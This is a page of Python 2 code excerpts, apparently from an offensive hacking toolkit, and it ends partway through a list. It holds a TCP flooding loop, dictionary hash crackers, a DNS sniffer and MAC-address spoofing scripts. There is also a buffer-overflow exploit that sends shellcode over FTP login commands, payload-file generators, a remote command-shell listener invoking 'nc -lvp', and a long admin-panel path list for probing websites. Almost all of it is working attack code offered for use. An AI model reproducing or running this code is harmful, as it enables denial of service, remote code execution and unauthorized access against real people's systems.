示例#1
0
 def main(self):
     print
     print_process("Starting Flooding on {host} at {time}".format(
         host=self.ip_address,
         time=src.source.use.time.strftime("%H:%M:%S")))
     src.source.use.time.sleep(1)
     try:
         byte = src.source.use.random._urandom(4096)
         sock = src.source.use.socket.socket(
             src.source.use.socket.AF_INET,
             src.source.use.socket.SOCK_STREAM)
         sock.connect((self.ip_address, self.port_address))
         sent = 0
         try:
             while True:
                 sock.sendto(byte, (self.ip_address, self.port_address))
                 sent = sent + 1
                 self.port_address = self.port_address + 1
                 print_process(
                     "Attacking Flooding send {p} bytes on {host}:{port}".
                     format(p=sent,
                            host=self.ip_address,
                            port=self.port_address))
                 if self.port_address == 65535:
                     self.port_address = 1
         except KeyboardInterrupt:
             print_error("Stop process... Exiting...")
             src.source.use.time.sleep(1)
     except src.source.use.socket.error as error:
         print_error(str(error))
示例#2
0
def crack_hashSHA224(password, password_list):
    global value
    try:
        with open(password_list, "r") as dictionary:
            words = dictionary.readlines()
        hashed = {}
        try:
            src.process.verbose.verbose_mode(words)
            for word in words:
                sha224 = src.source.use.hashlib.sha224()
                sha224.update(word[:-1])
                value = sha224.hexdigest()
                hashed[word[:-1]] = value
            for (key, value) in hashed.items():
                if password == value:
                    print_process("Found valid password is {}".format(key))
                    bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker()
            if not password in value:
                print_error("Not found valid password!!")
                bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker()
        except KeyboardInterrupt:
            print_warning("Interrupt user, canceling...")
            exit(0)
    except IOError as error:
        print_error(str(error))
示例#3
0
 def start_sniff(pkt):
     if src.source.use.IP in pkt:
         ip_src = pkt[src.source.use.IP].src
         ip_dst = pkt[src.source.use.IP].dst
         if pkt.haslayer(src.source.use.DNS) and pkt.getlayer(
                 src.source.use.DNS).qr == 0:
             print_process(
                 str(ip_src) + ' => ' + str(ip_dst) + ': ' + '(' +
                 pkt.getlayer(src.source.use.DNS).qd.name + ')')
示例#4
0
 def main(self):
     try:
         src.source.use.sniff(iface=self.interfaces,
                              prn=start_sniff,
                              filter="port udp 53")
         print_warning("Shutting down...")
     except KeyboardInterrupt:
         print_process("Interrupt by user, Exiting...!!")
         exit(0)
示例#5
0
 def with_random(self):
     try:
         src.source.use.random.seed()
         self.new_mac = self.mac_address[:8].lower().replace('-', ':')
         for i in xrange(0, 6):
             if i % 2 == 0:
                 self.new_mac += ':'
                 self.new_mac += '0123456789abcdef'[src.source.use.random.randint(0, 15)]
         src.source.use.subprocess.call(['sudo', 'ifconfig', self.interfaces, 'down'])
         process = src.source.use.subprocess.Popen(['sudo', 'ifconfig', self.interfaces, 'hw', 'ether', self.new_mac],
                                                   stdout=src.source.use.subprocess.PIPE, stderr=src.source.use.subprocess.PIPE).wait()
         src.source.use.subprocess.call(['sudo', 'ifconfig', self.interfaces, 'up'])
         if self.new_mac == self.mac_address:
             self.with_random()
         print_process("Completed successfully!!")
     except IOError as error:
         print_error(str(error))
     except KeyboardInterrupt:
         print_warning("Canceling process...")
         exit(0)
示例#6
0
    def runCrack(self):
        print
        print_process("Starting Cracking Hash at {time}".format(
            time=src.source.use.time.strftime("%H:%M:%S")))
        print_process("Password Hash: {pwd}".format(pwd=self.hash_password))
        print_process(
            "Wordlist Path: {words}".format(words=self.password_files))
        if len(self.hash_password) == 32:
            crack_hashMD5(self.hash_password, self.password_files)

        elif len(self.hash_password) == 40:
            crack_hashSHA1(self.hash_password, self.password_files)

        elif len(self.hash_password) == 56:
            crack_hashSHA224(self.hash_password, self.password_files)

        elif len(self.hash_password) == 64:
            crack_hashSHA256(self.hash_password, self.password_files)

        elif len(self.hash_password) == 96:
            crack_hashSHA384(self.hash_password, self.password_files)

        elif len(self.hash_password) == 128:
            crack_hashSHA512(self.hash_password, self.password_files)

        else:
            print_error("Error, Unknown hash password!!")
            bin.interfaces.exploit.exploit_cracking.Main_Interactive_Cracker()
示例#7
0
 def run_overflow(self):
     try:
         shell_code = (
             "\xbf\x5c\x2a\x11\xb3\xd9\xe5\xd9\x74\x24\xf4\x5d\x33\xc9"
             "\xb1\x56\x83\xc5\x04\x31\x7d\x0f\x03\x7d\x53\xc8\xe4\x4f"
             "\x83\x85\x07\xb0\x53\xf6\x8e\x55\x62\x24\xf4\x1e\xd6\xf8"
             "\x7e\x72\xda\x73\xd2\x67\x69\xf1\xfb\x88\xda\xbc\xdd\xa7"
             "\xdb\x70\xe2\x64\x1f\x12\x9e\x76\x73\xf4\x9f\xb8\x86\xf5"
             "\xd8\xa5\x68\xa7\xb1\xa2\xda\x58\xb5\xf7\xe6\x59\x19\x7c"
             "\x56\x22\x1c\x43\x22\x98\x1f\x94\x9a\x97\x68\x0c\x91\xf0"
             "\x48\x2d\x76\xe3\xb5\x64\xf3\xd0\x4e\x77\xd5\x28\xae\x49"
             "\x19\xe6\x91\x65\x94\xf6\xd6\x42\x46\x8d\x2c\xb1\xfb\x96"
             "\xf6\xcb\x27\x12\xeb\x6c\xac\x84\xcf\x8d\x61\x52\x9b\x82"
             "\xce\x10\xc3\x86\xd1\xf5\x7f\xb2\x5a\xf8\xaf\x32\x18\xdf"
             "\x6b\x1e\xfb\x7e\x2d\xfa\xaa\x7f\x2d\xa2\x13\xda\x25\x41"
             "\x40\x5c\x64\x0e\xa5\x53\x97\xce\xa1\xe4\xe4\xfc\x6e\x5f"
             "\x63\x4d\xe7\x79\x74\xb2\xd2\x3e\xea\x4d\xdc\x3e\x22\x8a"
             "\x88\x6e\x5c\x3b\xb0\xe4\x9c\xc4\x65\xaa\xcc\x6a\xd5\x0b"
             "\xbd\xca\x85\xe3\xd7\xc4\xfa\x14\xd8\x0e\x8d\x12\x16\x6a"
             "\xde\xf4\x5b\x8c\xf1\x58\xd5\x6a\x9b\x70\xb3\x25\x33\xb3"
             "\xe0\xfd\xa4\xcc\xc2\x51\x7d\x5b\x5a\xbc\xb9\x64\x5b\xea"
             "\xea\xc9\xf3\x7d\x78\x02\xc0\x9c\x7f\x0f\x60\xd6\xb8\xd8"
             "\xfa\x86\x0b\x78\xfa\x82\xfb\x19\x69\x49\xfb\x54\x92\xc6"
             "\xac\x31\x64\x1f\x38\xac\xdf\x89\x5e\x2d\xb9\xf2\xda\xea"
             "\x7a\xfc\xe3\x7f\xc6\xda\xf3\xb9\xc7\x66\xa7\x15\x9e\x30"
             "\x11\xd0\x48\xf3\xcb\x8a\x27\x5d\x9b\x4b\x04\x5e\xdd\x53"
             "\x41\x28\x01\xe5\x3c\x6d\x3e\xca\xa8\x79\x47\x36\x49\x85"
             "\x92\xf2\x79\xcc\xbe\x53\x12\x89\x2b\xe6\x7f\x2a\x86\x25"
             "\x86\xa9\x22\xd6\x7d\xb1\x47\xd3\x3a\x75\xb4\xa9\x53\x10"
             "\xba\x1e\x53\x31")
         print
         print_process("Connecting to host {target} at {times}".format(
             target=self.ip_address,
             times=src.source.use.time.strftime("%H:%M:%S-%p")))
         src.source.use.time.sleep(1)
         ret = src.source.use.struct.pack('<L', 0x7C874413)
         padding = '\x90' * 2048
         crash = '\x41' * 1024 + ret + padding + shell_code
         sock = src.source.use.socket.socket(
             src.source.use.socket.AF_INET,
             src.source.use.socket.SOCK_STREAM)
         # noinspection PyBroadException
         try:
             sock.connect((self.ip_address, self.port_address))
             print_process("Sending stage buffer {} bytes crash".format(
                 len(crash)))
             sock.send("USER " + "\x41" * 100 + "\r\n")
             sock.recv(4096)
             sock.send("PASS " + crash + "\r\n")
             sock.recv(4096)
             sock.send("PWND " + crash + "\r\n")
             sock.close()
             print_process("Completed exploit buffer overflow.")
         except src.source.use.socket.error as error_connect:
             print_error("Error Code: [{code}] Message: {message}".format(
                 code=str(error_connect[0]), message=error_connect[1]))
     except KeyboardInterrupt:
         print_warning("Canceling process.... Exiting..")
         src.source.use.sys.exit(0)
示例#8
0
 def writing_payload(self):
     try:
         print_process("Loaded payload Delete_Registry...")
         src.source.use.time.sleep(1)
         with open(self.filename, "w") as output_payload:
             print_process("Generating payload... please wait...")
             src.source.use.time.sleep(1)
             output_payload.write(self.code)
             output_payload.close()
         src.source.use.time.sleep(0.9)
         print_process("Successfully completed")
     except KeyboardInterrupt:
         print_process("Interrupt user, Exiting...")
         src.source.use.sys.exit(0)
     except IOError as error:
         print_error(str(error))
示例#9
0
 def writing_payload(self):
     try:
         print_process("Loaded payload Caplock Error...")
         src.source.use.time.sleep(1)
         with open(self.filename, "w") as output_payload:
             print_process("Generating payload... please wait..")
             src.source.use.time.sleep(2.5)
             output_payload.write(self.code)
             output_payload.close()
         src.source.use.time.sleep(1)
         print_process("Successfully completed")
     except IOError as error:
         print_error(str(error))
示例#10
0
 def main_generate(self):
     try:
         print_process("Process loaded payload handler...")
         src.source.use.time.sleep(1)
         with open(self.FILES, 'w') as payload_files:
             payload_files.write(self.payload)
             payload_files.close()
             print_process("Process open new window to generate payload")
             src.source.use.time.sleep(3)
             building_payload(self.FILES)
             print_process("Generate payload to execute success!!")
     except KeyboardInterrupt:
         print_error("Interrupt user, Stopping...")
         src.source.use.time.sleep(1)
示例#11
0
 def run_scan(self):
     try:
         print
         start = src.source.use.time.time()
         print_process("Starting Port Scanning at {time}".format(
             time=src.source.use.time.strftime("%H:%M:%S %p")))
         print_process("Scanning host {0} ({1})".format(
             self.hostname,
             src.source.use.socket.gethostbyname(self.hostname)))
         for port in range(min_port, max_port):
             try:
                 response = scan_port(self.hostname, port)
                 if response == 0:
                     print_process("Port is open -> {}".format(port))
             except Exception:
                 print_error("Canceling...")
                 src.source.use.sys.exit(0)
         end = src.source.use.time.time()
         print_process("Scanning completed at %s seconds" %
                       round(end - start))
     except KeyboardInterrupt:
         print_warning("Exiting...")
示例#12
0
 def writing_payload(self):
     try:
         print_process("Loaded payload Change Extension...")
         src.source.use.time.sleep(2)
         with open(self.File_Name, "w") as payload_output:
             print_process("Generating payload... please wait...")
             src.source.use.time.sleep(1)
             payload_output.write(self.code)
             payload_output.close()
         src.source.use.time.sleep(0.9)
         print_process("Successfully completed")
     except KeyboardInterrupt:
         print_error("Interrupt, Exiting...!!")
         src.source.use.sys.exit(0)
     except IOError as error:
         print_error(str(error))
示例#13
0
 def replace_random(self):
     try:
         src.source.use.random.seed()
         self.new_macAddress = self.mac_address[:8].lower().replace('-', ':')
         for i in xrange(0, 6):
             if i % 2 == 0:
                 self.new_macAddress += ':'
                 self.new_macAddress += '0123456789abcdef'[src.source.use.random.randint(0, 15)]
         print_process("Started Change New Mac Address...")
         src.source.use.time.sleep(2)
         src.source.use.os.system('echo ' + self.new_macAddress + '>/data/.nvmac.info')
         print_process("Processing on background jobs")
         src.source.use.time.sleep(2)
         src.source.use.os.system('echo ' + self.new_macAddress + '>/data/misc/wifi/wifimac')
         src.source.use.os.system('echo ' + self.new_macAddress + '>/efs/wifi/.mac.info')
         src.source.use.os.system('echo ' + self.new_macAddress + '>/efs/wifi/.mac.cob')
         print_process("Just a moments...."); src.source.use.time.sleep(1)
         print_process("Completed successfully.")
         if self.new_macAddress == self.mac_address:
             self.replace_random()
     except KeyboardInterrupt:
         print_warning("Canceling process...")
         exit(1)
示例#14
0
 def replace_special():
     try:
         print_process("Started Changing Mac address...")
         src.source.use.time.sleep(3)
         mac_bypass = ['02:D7:1D:3D:FC:52',
                       '02:CO:D8:06:9A:E2',
                       '02:60:30:AC:FB:17',
                       '02:27:27:27:27:02',
                       '02:18:B9:37:68:13',
                       '02:02:17:08:19:45',
                       '02:00:01:02:03:04',
                       '48:D2:24:6F:95:EB'
                       ]
         change_random = src.source.use.random.choice(mac_bypass)
         print_process("Processing Changing... Please dont stop script!")
         src.source.use.time.sleep(1)
         subprocess.call(['echo ' + change_random + '>/data/.nvmac.info'])
         subprocess.call(['echo ' + change_random + '>/data/misc/wifi/wifimac'])
         subprocess.call(['echo ' + change_random + '>/efs/wifi/.mac.info'])
         subprocess.call(['echo ' + change_random + '>/efs/wifi/.mac.cob'])
         print_process("Completed successfully")
     except KeyboardInterrupt:
         print_warning("Canceling process....")
         exit(0)
示例#15
0
    def main_handler(self):
        try:
            sock = src.source.use.socket.socket(src.source.use.socket.AF_INET, src.source.use.socket.SOCK_STREAM)
            sock.bind((self.hostname, self.port_address))
            print_process(
                "Started listening handler on socket {host}:{port}".format(
                    host=self.hostname, port=self.port_address
                )
            )
            src.source.use.time.sleep(1)
            print_process("Waiting connection from exploit target")
            sock.listen(5)
            try:
                socks, add = sock.accept()
                print_process(
                    "Exploit connect on {host}:{port} at {time}".format(
                        host=str(add[0]), port=str(add[1]), time=src.source.use.time.strftime("%H:%M:%S")
                    )
                )
                src.source.use.time.sleep(1)
                self.version_shell = socks.recv(1024)
                print_process(self.version_shell)
                print_process(
                    "Command shell session opened ({h}:{p} -> {hs}:{ps})\n".format(
                        h=self.hostname, p=self.port_address, hs=str(add[0]), ps=str(add[1])
                    )
                )
                src.source.use.time.sleep(1)
                while True:
                    try:
                        self.cmd = raw_input(pycolor_style.L + "shell"+ pycolor_style.W +" > ")
                        if self.cmd == "mkdir":
                            try:
                                direct = self.cmd.split()[2]
                                socks.send('mkdir {}'.format(direct))
                            except IndexError:
                                print_warning("usage: mkdir [filename]")

                        elif self.cmd == "help":
                            pass

                        elif self.cmd == "interact":
                            socks.send("interact")
                            if src.source.use.os.name == "nt":
                                src.Logging.print_stdout.print_error(
                                    "Windows Not support, Sorry -_-"
                                )
                                continue
                            else:
                                src.source.use.os.system(
                                    "nc -lvp {port}".format(
                                        port=self.port_address
                                    )
                                )

                        elif self.cmd == "del":
                            try:
                                filename = self.cmd.split()[2]
                                socks.send('del {}'.format(filename))
                            except IndexError:
                                print_warning("usage: del [file / folder]")

                        else:
                            socks.send(self.cmd)
                            result = socks.recv(4096)
                            print(str(result))

                    except KeyboardInterrupt:
                        print
                        print_error(
                            "Close interaction with {host}:{port}".format(
                                host=str(add[0]),
                                port=str(add[1])
                            )
                        )
                        socks.close()
                        break
                    except EOFError:
                        print_error("Close session...")
                        socks.close()
                        break
            except src.source.use.socket.error as error:
                print_error(str(error))
        except src.source.use.socket.error as error_socket:
            print_error(str(error_socket))
        except KeyboardInterrupt:
            print_error("User Interrupt..!! Aborted.")
示例#16
0
 def run_search(self):
     try:
         host = self.site.replace('http://', '').rsplit("/", 1)[0]
         site_target = host.lower()
         admin_path = ['admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/',
                   'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/',
                   'admin_area/', 'panel-administracion/', 'instadmin/',
                   'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.php', 'admin/index.php',
                   'admin/login.php',
                   'admin/admin.php', 'admin/account.php',
                   'admin_area/admin.php', 'admin_area/login.php', 'siteadmin/login.php', 'siteadmin/index.php',
                   'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html',
                   'admin/admin.html',
                   'admin_area/index.php', 'bb-admin/index.php', 'bb-admin/login.php', 'bb-admin/admin.php',
                   'admin/home.php', 'admin_area/login.html', 'admin_area/index.html',
                   'admin/controlpanel.php', 'admin.php', 'admincp/index.asp', 'admincp/login.asp',
                   'admincp/index.html',
                   'admin/account.html', 'adminpanel.html', 'webadmin.html',
                   'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html',
                   'admin_login.html', 'panel-administracion/login.html',
                   'admin/cp.php', 'cp.php', 'administrator/index.php', 'administrator/login.php',
                   'nsw/admin/login.php',
                   'webadmin/login.php', 'admin/admin_login.php', 'admin_login.php',
                   'administrator/account.php', 'administrator.php', 'admin_area/admin.html',
                   'pages/admin/admin-login.php',
                   'admin/admin-login.php', 'admin-login.php',
                   'bb-admin/index.html', 'bb-admin/login.html', 'acceso.php', 'bb-admin/admin.html',
                   'admin/home.html',
                   'login.php', 'modelsearch/login.php', 'moderator.php', 'moderator/login.php',
                   'moderator/admin.php', 'account.php', 'pages/admin/admin-login.html', 'admin/admin-login.html',
                   'admin-login.html', 'controlpanel.php', 'admincontrol.php',
                   'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html',
                   'rcjakar/admin/login.php', 'adminarea/index.html', 'adminarea/admin.html',
                   'webadmin.php', 'webadmin/index.php', 'webadmin/admin.php', 'admin/controlpanel.html',
                   'admin.html',
                   'admin/cp.html', 'cp.html', 'adminpanel.php', 'moderator.html',
                   'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html',
                   'administrator.html', 'login.html', 'modelsearch/login.html',
                   'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html',
                   'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html',
                   'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.php',
                   'account.html', 'controlpanel.html', 'admincontrol.html',
                   'panel-administracion/login.php', 'wp-login.php', 'adminLogin.php', 'admin/adminLogin.php',
                   'home.php',
                   'admin.php', 'adminarea/index.php',
                   'adminarea/admin.php', 'adminarea/login.php', 'panel-administracion/index.php',
                   'panel-administracion/admin.php', 'modelsearch/index.php',
                   'modelsearch/admin.php', 'admincontrol/login.php', 'adm/admloginuser.php', 'admloginuser.php',
                   'admin2.php', 'admin2/login.php', 'admin2/index.php', 'usuarios/login.php',
                   'adm/index.php', 'adm.php', 'affiliate.php', 'adm_auth.php', 'memberadmin.php',
                   'administratorlogin.php',
                   'admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'moderator/',
                   'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/', 'admin_area/', 'panel-administracion/',
                   'instadmin/',
                   'memberadmin/', 'administratorlogin/', 'adm/', 'account.asp', 'admin/account.asp',
                   'admin/index.asp',
                   'admin/login.asp', 'admin/admin.asp',
                   'admin_area/admin.asp', 'admin_area/login.asp', 'admin/account.html', 'admin/index.html',
                   'admin/login.html', 'admin/admin.html',
                   'admin_area/admin.html', 'admin_area/login.html', 'admin_area/index.html', 'admin_area/index.asp',
                   'bb-admin/index.asp', 'bb-admin/login.asp', 'bb-admin/admin.asp',
                   'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html',
                   'admin/controlpanel.html', 'admin.html', 'admin/cp.html', 'cp.html',
                   'administrator/index.html', 'administrator/login.html', 'administrator/account.html',
                   'administrator.html', 'login.html', 'modelsearch/login.html', 'moderator.html',
                   'moderator/login.html', 'moderator/admin.html', 'account.html', 'controlpanel.html',
                   'admincontrol.html',
                   'admin_login.html', 'panel-administracion/login.html',
                   'admin/home.asp', 'admin/controlpanel.asp', 'admin.asp', 'pages/admin/admin-login.asp',
                   'admin/admin-login.asp', 'admin-login.asp', 'admin/cp.asp', 'cp.asp',
                   'administrator/account.asp', 'administrator.asp', 'acceso.asp', 'login.asp',
                   'modelsearch/login.asp',
                   'moderator.asp', 'moderator/login.asp', 'administrator/login.asp',
                   'moderator/admin.asp', 'controlpanel.asp', 'admin/account.html', 'adminpanel.html',
                   'webadmin.html',
                   'pages/admin/admin-login.html', 'admin/admin-login.html',
                   'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'user.asp', 'user.html',
                   'admincp/index.asp', 'admincp/login.asp', 'admincp/index.html',
                   'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html',
                   'adminarea/index.html',
                   'adminarea/admin.html', 'adminarea/login.html',
                   'panel-administracion/index.html', 'panel-administracion/admin.html', 'modelsearch/index.html',
                   'modelsearch/admin.html', 'admin/admin_login.html',
                   'admincontrol/login.html', 'adm/index.html', 'adm.html', 'admincontrol.asp', 'admin/account.asp',
                   'adminpanel.asp', 'webadmin.asp', 'webadmin/index.asp',
                   'webadmin/admin.asp', 'webadmin/login.asp', 'admin/admin_login.asp', 'admin_login.asp',
                   'panel-administracion/login.asp', 'adminLogin.asp',
                   'admin/adminLogin.asp', 'home.asp', 'admin.asp', 'adminarea/index.asp', 'adminarea/admin.asp',
                   'adminarea/login.asp', 'admin-login.html',
                   'panel-administracion/index.asp', 'panel-administracion/admin.asp', 'modelsearch/index.asp',
                   'modelsearch/admin.asp', 'administrator/index.asp',
                   'admincontrol/login.asp', 'adm/admloginuser.asp', 'admloginuser.asp', 'admin2.asp',
                   'admin2/login.asp',
                   'admin2/index.asp', 'adm/index.asp',
                   'adm.asp', 'affiliate.asp', 'adm_auth.asp', 'memberadmin.asp', 'administratorlogin.asp',
                   'siteadmin/login.asp', 'siteadmin/index.asp', 'siteadmin/login.html',
                   'admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/',
                   'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/',
                   'admin_area/', 'panel-administracion/', 'instadmin/',
                   'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.cfm', 'admin/index.cfm',
                   'admin/login.cfm',
                   'admin/admin.cfm', 'admin/account.cfm',
                   'admin_area/admin.cfm', 'admin_area/login.cfm', 'siteadmin/login.cfm', 'siteadmin/index.cfm',
                   'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html',
                   'admin/admin.html',
                   'admin_area/index.cfm', 'bb-admin/index.cfm', 'bb-admin/login.cfm', 'bb-admin/admin.cfm',
                   'admin/home.cfm', 'admin_area/login.html', 'admin_area/index.html',
                   'admin/controlpanel.cfm', 'admin.cfm', 'admincp/index.asp', 'admincp/login.asp',
                   'admincp/index.html',
                   'admin/account.html', 'adminpanel.html', 'webadmin.html',
                   'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html',
                   'admin_login.html', 'panel-administracion/login.html',
                   'admin/cp.cfm', 'cp.cfm', 'administrator/index.cfm', 'administrator/login.cfm',
                   'nsw/admin/login.cfm',
                   'webadmin/login.cfm', 'admin/admin_login.cfm', 'admin_login.cfm',
                   'administrator/account.cfm', 'administrator.cfm', 'admin_area/admin.html',
                   'pages/admin/admin-login.cfm',
                   'admin/admin-login.cfm', 'admin-login.cfm',
                   'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html',
                   'login.cfm',
                   'modelsearch/login.cfm', 'moderator.cfm', 'moderator/login.cfm',
                   'moderator/admin.cfm', 'account.cfm', 'pages/admin/admin-login.html', 'admin/admin-login.html',
                   'admin-login.html', 'controlpanel.cfm', 'admincontrol.cfm',
                   'admin/adminLogin.html', 'acceso.cfm', 'adminLogin.html', 'admin/adminLogin.html', 'home.html',
                   'rcjakar/admin/login.cfm', 'adminarea/index.html', 'adminarea/admin.html',
                   'webadmin.cfm', 'webadmin/index.cfm', 'webadmin/admin.cfm', 'admin/controlpanel.html',
                   'admin.html',
                   'admin/cp.html', 'cp.html', 'adminpanel.cfm', 'moderator.html',
                   'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html',
                   'administrator.html', 'login.html', 'modelsearch/login.html',
                   'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html',
                   'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html',
                   'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.cfm',
                   'account.html', 'controlpanel.html', 'admincontrol.html',
                   'panel-administracion/login.cfm', 'wp-login.cfm', 'adminLogin.cfm', 'admin/adminLogin.cfm',
                   'home.cfm',
                   'admin.cfm', 'adminarea/index.cfm',
                   'adminarea/admin.cfm', 'adminarea/login.cfm', 'panel-administracion/index.cfm',
                   'panel-administracion/admin.cfm', 'modelsearch/index.cfm',
                   'modelsearch/admin.cfm', 'admincontrol/login.cfm', 'adm/admloginuser.cfm', 'admloginuser.cfm',
                   'admin2.cfm', 'admin2/login.cfm', 'admin2/index.cfm', 'usuarios/login.cfm',
                   'adm/index.cfm', 'adm.cfm', 'affiliate.cfm', 'adm_auth.cfm', 'memberadmin.cfm',
                   'administratorlogin.cfm',
                   'admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/',
                   'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/',
                   'admin_area/', 'panel-administracion/', 'instadmin/',
                   'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.js', 'admin/index.js',
                   'admin/login.js',
                   'admin/admin.js', 'admin/account.js', 'admin_area/admin.js', 'admin_area/login.js',
                   'siteadmin/login.js',
                   'siteadmin/index.js', 'siteadmin/login.html', 'admin/account.html', 'admin/index.html',
                   'admin/login.html', 'admin/admin.html',
                   'admin_area/index.js', 'bb-admin/index.js', 'bb-admin/login.js', 'bb-admin/admin.js',
                   'admin/home.js',
                   'admin_area/login.html', 'admin_area/index.html',
                   'admin/controlpanel.js', 'admin.js', 'admincp/index.asp', 'admincp/login.asp',
                   'admincp/index.html',
                   'admin/account.html', 'adminpanel.html', 'webadmin.html',
                   'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html',
                   'admin_login.html', 'panel-administracion/login.html',
                   'admin/cp.js', 'cp.js', 'administrator/index.js', 'administrator/login.js', 'nsw/admin/login.js',
                   'webadmin/login.js', 'admin/admin_login.js', 'admin_login.js',
                   'administrator/account.js', 'administrator.js', 'admin_area/admin.html',
                   'pages/admin/admin-login.js',
                   'admin/admin-login.js', 'admin-login.js',
                   'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html',
                   'login.js',
                   'modelsearch/login.js', 'moderator.js', 'moderator/login.js',
                   'moderator/admin.js', 'account.js', 'pages/admin/admin-login.html', 'admin/admin-login.html',
                   'admin-login.html', 'controlpanel.js', 'admincontrol.js',
                   'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html',
                   'rcjakar/admin/login.js', 'adminarea/index.html', 'adminarea/admin.html',
                   'webadmin.js', 'webadmin/index.js', 'acceso.js', 'webadmin/admin.js', 'admin/controlpanel.html',
                   'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.js', 'moderator.html',
                   'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html',
                   'administrator.html', 'login.html', 'modelsearch/login.html',
                   'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html',
                   'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html',
                   'admincontrol/login.html', 'adm/index.html', 'adm.html', 'moderator/admin.html', 'user.js',
                   'account.html', 'controlpanel.html', 'admincontrol.html',
                   'panel-administracion/login.js', 'wp-login.js', 'adminLogin.js', 'admin/adminLogin.js', 'home.js',
                   'admin.js', 'adminarea/index.js',
                   'adminarea/admin.js', 'adminarea/login.js', 'panel-administracion/index.js',
                   'panel-administracion/admin.js', 'modelsearch/index.js',
                   'modelsearch/admin.js', 'admincontrol/login.js', 'adm/admloginuser.js', 'admloginuser.js',
                   'admin2.js',
                   'admin2/login.js', 'admin2/index.js', 'usuarios/login.js',
                   'adm/index.js', 'adm.js', 'affiliate.js', 'adm_auth.js', 'memberadmin.js',
                   'administratorlogin.js',
                   'admin/', 'administrator/', 'admin1/', 'admin2/', 'admin3/', 'admin4/', 'admin5/', 'usuarios/',
                   'usuario/', 'administrator/', 'moderator/', 'webadmin/', 'adminarea/', 'bb-admin/', 'adminLogin/',
                   'admin_area/', 'panel-administracion/', 'instadmin/',
                   'memberadmin/', 'administratorlogin/', 'adm/', 'admin/account.cgi', 'admin/index.cgi',
                   'admin/login.cgi',
                   'admin/admin.cgi', 'admin/account.cgi',
                   'admin_area/admin.cgi', 'admin_area/login.cgi', 'siteadmin/login.cgi', 'siteadmin/index.cgi',
                   'siteadmin/login.html', 'admin/account.html', 'admin/index.html', 'admin/login.html',
                   'admin/admin.html',
                   'admin_area/index.cgi', 'bb-admin/index.cgi', 'bb-admin/login.cgi', 'bb-admin/admin.cgi',
                   'admin/home.cgi', 'admin_area/login.html', 'admin_area/index.html',
                   'admin/controlpanel.cgi', 'admin.cgi', 'admincp/index.asp', 'admincp/login.asp',
                   'admincp/index.html',
                   'admin/account.html', 'adminpanel.html', 'webadmin.html',
                   'webadmin/index.html', 'webadmin/admin.html', 'webadmin/login.html', 'admin/admin_login.html',
                   'admin_login.html', 'panel-administracion/login.html',
                   'admin/cp.cgi', 'cp.cgi', 'administrator/index.cgi', 'administrator/login.cgi',
                   'nsw/admin/login.cgi',
                   'webadmin/login.cgi', 'admin/admin_login.cgi', 'admin_login.cgi',
                   'administrator/account.cgi', 'administrator.cgi', 'admin_area/admin.html',
                   'pages/admin/admin-login.cgi',
                   'admin/admin-login.cgi', 'admin-login.cgi',
                   'bb-admin/index.html', 'bb-admin/login.html', 'bb-admin/admin.html', 'admin/home.html',
                   'login.cgi',
                   'modelsearch/login.cgi', 'moderator.cgi', 'moderator/login.cgi',
                   'moderator/admin.cgi', 'account.cgi', 'pages/admin/admin-login.html', 'admin/admin-login.html',
                   'admin-login.html', 'controlpanel.cgi', 'admincontrol.cgi',
                   'admin/adminLogin.html', 'adminLogin.html', 'admin/adminLogin.html', 'home.html',
                   'rcjakar/admin/login.cgi', 'adminarea/index.html', 'adminarea/admin.html',
                   'webadmin.cgi', 'webadmin/index.cgi', 'acceso.cgi', 'webadmin/admin.cgi',
                   'admin/controlpanel.html',
                   'admin.html', 'admin/cp.html', 'cp.html', 'adminpanel.cgi', 'moderator.html',
                   'administrator/index.html', 'administrator/login.html', 'user.html', 'administrator/account.html',
                   'administrator.html', 'login.html', 'modelsearch/login.html',
                   'moderator/login.html', 'adminarea/login.html', 'panel-administracion/index.html',
                   'panel-administracion/admin.html', 'modelsearch/index.html', 'modelsearch/admin.html',
